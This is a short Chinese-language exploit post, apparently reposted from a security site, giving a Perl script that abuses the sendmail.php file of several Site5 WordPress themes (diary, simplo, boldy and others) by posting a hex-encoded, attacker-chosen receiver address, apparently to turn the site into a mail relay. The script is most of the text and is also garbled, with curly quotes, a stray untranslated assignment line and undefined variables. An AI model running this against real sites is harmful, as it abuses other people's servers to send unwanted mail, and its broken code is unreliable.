以下是利用本地搭建的site5 wordpress
 
漏洞文件：
diary, simploblack, simplo, journalcrunch, boldy, webfolio
my $theme = ‘diary’;
my $url = $wordpress.’wp-content/themes/’.$theme.’/sendmail.php’;
我的电子邮件=“test.five@yahoo.cn;
#Receiver email address www.2cto.com
my $receiver = ‘test.five@yahoo.cn’;
$receiver =~ s/(.)/sprintf(“%x”,ord($1))/eg;
my $ua = LWP::UserAgent->new();
my $request = POST( $url, [ name => $name, email => $email, comment => $comment, receiver => $receiver, submit => 'submit', ] );
print “Sending request to $url\n”;
my $content = $ua->request($request)->as_string();
print $content;
print “\nDone\nFollow \@BallastSec on Twitter\n”;